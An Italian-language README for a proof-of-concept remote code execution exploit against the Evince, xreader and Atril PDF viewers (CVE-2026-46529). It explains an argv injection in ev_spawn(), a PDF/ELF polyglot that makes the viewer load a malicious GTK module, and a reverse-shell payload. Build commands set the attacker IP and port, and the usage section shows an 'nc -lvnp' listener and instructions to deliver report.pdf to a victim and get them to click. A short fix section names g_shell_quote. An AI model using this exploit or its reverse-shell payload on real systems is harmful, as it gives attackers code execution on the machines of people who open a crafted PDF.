
Exploit RCE per Evince/xreader/Atril (CVE-2026-46529)
Proof-of-concept funzionante per l'iniezione di argv in ev_spawn()
(shell/ev-application.c). Un singolo clic in qualsiasi punto della pagina
renderizzata di un PDF appositamente creato innesca l'esecuzione arbitraria di codice come utente che esegue il visualizzatore.
Questa release utilizza la tecnica di sostituzione %f: il percorso di destinazione di dlopen viene scoperto dal visualizzatore stesso a runtime, quindi l'attaccante non ha bisogno di conoscere dove finisce il poliglotta nel filesystem della vittima (niente username, niente $HOME, niente directory di download).
https://github.com/user-attachments/assets/c12aaa77-4dd8-4dbc-b039-a510e9fbfced
| File | Scopo |
|---|---|
exploit.sh | Wrapper one-shot: compila e costruisce il poliglotta in un unico comando. |
evil_gtk_module.c | Sorgente del payload. Il costruttore apre una reverse shell e lascia un marker in /tmp/PWNED_atril_<pid>.txt. |
build_polyglot.py | Costruttore del poliglotta. Combina un evil.so compilato con un corpo PDF minimale contenente l'azione /GoToR e lo smuggle %f. |
È necessario compilare su un host Linux che corrisponda all'architettura della vittima.
evil_gtk_module.c è portabile tra architetture; l'ELF risultante è
specifico per architettura. macOS non può produrre il .so perché il linker di Apple
non accetta i flag GNU build-id.
ev_spawn() costruisce la riga di comando di spawn interpolando le stringhe
/D (destinazione nominata) e /F (specifica del file) del PDF senza
g_shell_quote. Il risultato viene ri-analizzato in argv da
g_app_info_create_from_commandline → g_shell_parse_argv. Creando
/D con uno spazio iniziale e --gtk-module=... si fa sì che il visualizzatore figlio
spawnato riceva --gtk-module= come elemento argv indipendente,
che gtk_init() onora tramite g_module_open() (cioè dlopen). Qualsiasi
costruttore nell'ELF caricato viene eseguito come vittima.
Il poliglotta è un singolo file che è simultaneamente un PDF valido e una
libreria condivisa ELF valida — il marcatore %PDF-1.4 viene impresso all'interno dello
slot SHA1 di .note.gnu.build-id (offset 0x1d8), che poppler accetta
perché scansiona i primi 1024 byte per il magic e ld.so accetta
perché i contenuti del build-id sono informativi.
Il trucco %f (questa release) chiude l'ultimo pezzo. Invece di
hardcodare il percorso del poliglotta all'interno del PDF, incorporiamo il segnaposto %f di glib.
g_app_info_launch_uris di glib sostituisce %f con la forma
del percorso locale dell'URI che atril ha risolto a runtime tramite
g_path_get_dirname(source_uri) + /F.basename. L'argv del figlio spawnato finisce per contenere --gtk-module=<percorso-runtime-effettivo>, dlopen
ha successo, RCE.
/F è impostato a <basename>?1 piuttosto che solo <basename> perché
ev_application_open_uri_at_dest() fa un cortocircuito e naviga semplicemente
(invece di spawnare) quando l'URI /F risolto è uguale all'URI di origine.
La stringa di query finale rende l'URI distinto; g_filename_from_uri di glib
la rimuove quando costruisce %f.
./exploit.sh -o report.pdf --ip 192.168.1.5 --port 4444
Output: report.pdf con il target di reverse shell incorporato. Distribuiscilo
alla vittima con lo stesso basename (qualsiasi directory), avvia un
listener, fallo aprire in atril e clicca in qualsiasi punto della pagina.
# Attacker:
nc -lvnp 4444
# Victim:
atril /any/where/report.pdf
# click anywhere on the rendered page → shell back
Il basename incorporato in /F deriva dal nome del file di output, quindi
il poliglotta si aspetta di essere distribuito come report.pdf. La directory
non ha importanza — atril risolve il percorso completo a runtime tramite la
sostituzione %f. L'annotazione Link copre l'intero MediaBox,
quindi qualsiasi clic attiva l'azione. Un file marker viene anche scritto in
/tmp/PWNED_atril_<pid>.txt.
exploit.sh-o, --output FILE Percorso PDF di output (default: polyglot.pdf)
--ip IP IP target della reverse shell (default: 127.0.0.1)
--port PORT Porta target della reverse shell (default: 9000)
--cc COMPILER Compilatore C (default: gcc, env: CC)
--keep-so Non eliminare evil.so dopo la build
-h, --help Mostra uso
Esempio di cross-compilazione (costruisci poliglotta aarch64 su host x86_64):
CC=aarch64-linux-gnu-gcc ./exploit.sh -o x.pdf --ip 10.0.0.5 --port 4444
exploit.sh)Se vuoi il pieno controllo su ogni passaggio:
Compila evil.so con il tuo IP/porta.
gcc -shared -fPIC -Wl,--build-id=sha1 \
-DATTACKER_IP='"192.168.1.5"' \
-DATTACKER_PORT='"4444"' \
-o evil.so evil_gtk_module.c
Costruisci il poliglotta.
python3 build_polyglot.py evil.so <output.pdf>
Il basename incorporato in /F deriva dal nome del file di output.
Distribuisci il poliglotta sulla vittima con lo stesso basename — la
directory non ha importanza, atril lo risolve a runtime.
Confermato:
Il codice vulnerabile (ev_spawn e il percorso di apertura /GoToR) è condiviso
tra tutti e tre. Evince upstream ha lo stesso bug; l'unica
differenza nelle build più recenti di evince è che GTK4 ha rimosso il
flag --gtk-module= da riga di comando, il che chiude questo specifico sink dlopen.
Le build di evince contro GTK3 (la maggior parte delle distribuzioni LTS al momento della
scrittura) rimangono vulnerabili.
Il bug esiste dai primi anni 2010, quando è stata scritta la costruzione della riga di comando di ev_spawn.
La correzione è semplice: racchiudere ogni componente controllato dall'attaccante in g_shell_quote prima di
g_string_append_printf, oppure passare argv come lista a
g_spawn_async (evitando completamente il round-trip di parsing della shell).
Preservazione del nome file. Il basename incorporato in /F deve corrispondere
al nome file che il poliglotta ha sul disco della vittima al momento dell'attivazione.
Se la vittima rinomina il file prima di aprirlo, atril risolve /F
in un percorso inesistente e dlopen fallisce.
GTK4. Le build più recenti di evince contro GTK4 hanno rimosso il
flag --gtk-module= da riga di comando, il che chiude questo specifico
sink dlopen. L'iniezione di argv stessa è ancora presente — solo
questo particolare percorso di sfruttamento è mitigato da GTK4.
J.Medeiros